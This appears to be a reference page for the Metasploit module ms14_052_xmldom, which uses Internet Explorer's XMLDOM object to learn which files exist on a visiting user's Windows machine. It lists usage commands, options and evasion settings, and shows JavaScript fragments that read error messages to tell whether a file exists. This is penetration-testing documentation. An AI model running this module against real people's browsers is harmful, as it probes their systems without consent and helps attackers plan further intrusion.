MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure - Metasploit


This page contains detailed information about how to use the auxiliary/gather/ms14_052_xmldom metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure
Module: auxiliary/gather/ms14_052_xmldom
Source code: modules/auxiliary/gather/ms14_052_xmldom.rb
Disclosure date: 2014-09-09
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-7331

This module will use the Microsoft XMLDOM object to enumerate a remote machine's filenames. It will try to do so against Internet Explorer 8 and Internet Explorer 9. To use it, you must supply your own list of file paths. Each file path should look like this: c:\windows\system32\calc.exe

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/gather/ms14_052_xmldom
msf auxiliary(ms14_052_xmldom) > exploit

Required Options


  • FILES: A list of files to enumerate. One absolute file path per line.

Go back to menu.

Msfconsole Usage


Here is how the gather/ms14_052_xmldom auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/ms14_052_xmldom

msf6 auxiliary(gather/ms14_052_xmldom) > show info

       Name: MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure
     Module: auxiliary/gather/ms14_052_xmldom
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-09-09

Provided by:
  Soroush Dalili
  sinn3r <[email protected]>

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  FILES                     yes       A list of files to enumerate. One absolute file path per line.
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Description:
  This module will use the Microsoft XMLDOM object to enumerate a 
  remote machine's filenames. It will try to do so against Internet 
  Explorer 8 and Internet Explorer 9. To use it, you must supply your 
  own list of file paths. Each file path should look like this: 
  c:\\windows\\system32\\calc.exe

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-7331
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/MS14-052
  https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/
  https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi

Module Options


This is a complete list of options available in the gather/ms14_052_xmldom auxiliary module:

msf6 auxiliary(gather/ms14_052_xmldom) > show options

Module options (auxiliary/gather/ms14_052_xmldom):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   FILES                     yes       A list of files to enumerate. One absolute file path per line.
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Advanced Options


Here is a complete list of advanced options supported by the gather/ms14_052_xmldom auxiliary module:

msf6 auxiliary(gather/ms14_052_xmldom) > show advanced

Module advanced options (auxiliary/gather/ms14_052_xmldom):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   JsIdentifiers                    no        Identifiers to preserve for JsObfu
   JsObfuscate     0                no        Number of times to obfuscate JavaScript
   ListenerComm                     no        The specific communication channel to use for this service
   SSLCipher                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression  false            no        Enable SSL/TLS-level compression
   SendRobots      false            no        Return a robots.txt file if asked for one
   URIHOST                          no        Host to use in URI (useful for tunnels)
   URIPORT                          no        Port to use in URI (useful for tunnels)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/ms14_052_xmldom module can do:

msf6 auxiliary(gather/ms14_052_xmldom) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/ms14_052_xmldom auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/ms14_052_xmldom) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Error Code


Here is a relevant code snippet related to the "Error Code" error message:

70:	        xmlDoc.async = true;
71:	        try {
72:	          xmlDoc.loadXML(txt);
73:	          if (xmlDoc.parseError.errorCode != 0) {
74:	            var err;
75:	            err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n";
76:	            err += "Error Reason: " + xmlDoc.parseError.reason;
77:	            err += "Error Line: " + xmlDoc.parseError.line;
78:	
79:	            var errReason = xmlDoc.parseError.reason.toLowerCase();
80:	            if (errReason.search('access is denied') >= 0)  {

Error Reason


Here is a relevant code snippet related to the "Error Reason" error message:

71:	        try {
72:	          xmlDoc.loadXML(txt);
73:	          if (xmlDoc.parseError.errorCode != 0) {
74:	            var err;
75:	            err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n";
76:	            err += "Error Reason: " + xmlDoc.parseError.reason;
77:	            err += "Error Line: " + xmlDoc.parseError.line;
78:	
79:	            var errReason = xmlDoc.parseError.reason.toLowerCase();
80:	            if (errReason.search('access is denied') >= 0)  {
81:	              result = RESULTS.ALIVE;

Error Line


Here is a relevant code snippet related to the "Error Line" error message:

72:	          xmlDoc.loadXML(txt);
73:	          if (xmlDoc.parseError.errorCode != 0) {
74:	            var err;
75:	            err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n";
76:	            err += "Error Reason: " + xmlDoc.parseError.reason;
77:	            err += "Error Line: " + xmlDoc.parseError.line;
78:	
79:	            var errReason = xmlDoc.parseError.reason.toLowerCase();
80:	            if (errReason.search('access is denied') >= 0)  {
81:	              result = RESULTS.ALIVE;
82:	            } else if(errReason.search('the system cannot locate the object') >= 0 \|\| errReason.search('the system cannot find the file') >= 0 \|\| errReason.search('the network path was not found') >= 0) {

access is denied


Here is a relevant code snippet related to the "access is denied" error message:

75:	            err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n";
76:	            err += "Error Reason: " + xmlDoc.parseError.reason;
77:	            err += "Error Line: " + xmlDoc.parseError.line;
78:	
79:	            var errReason = xmlDoc.parseError.reason.toLowerCase();
80:	            if (errReason.search('access is denied') >= 0)  {
81:	              result = RESULTS.ALIVE;
82:	            } else if(errReason.search('the system cannot locate the object') >= 0 \|\| errReason.search('the system cannot find the file') >= 0 \|\| errReason.search('the network path was not found') >= 0) {
83:	              result = RESULTS.NOTFOUND;
84:	            } else if(errReason!=''){
85:	              result = RESULTS.FILEFOUND;

the system cannot locate the object


Here is a relevant code snippet related to the "the system cannot locate the object" error message:

77:	            err += "Error Line: " + xmlDoc.parseError.line;
78:	
79:	            var errReason = xmlDoc.parseError.reason.toLowerCase();
80:	            if (errReason.search('access is denied') >= 0)  {
81:	              result = RESULTS.ALIVE;
82:	            } else if(errReason.search('the system cannot locate the object') >= 0 \|\| errReason.search('the system cannot find the file') >= 0 \|\| errReason.search('the network path was not found') >= 0) {
83:	              result = RESULTS.NOTFOUND;
84:	            } else if(errReason!=''){
85:	              result = RESULTS.FILEFOUND;
86:	            } else{
87:	              result = RESULTS.UNKNOWN; // No Error? Unknown!

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Soroush Dalili
  • sinn3r

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.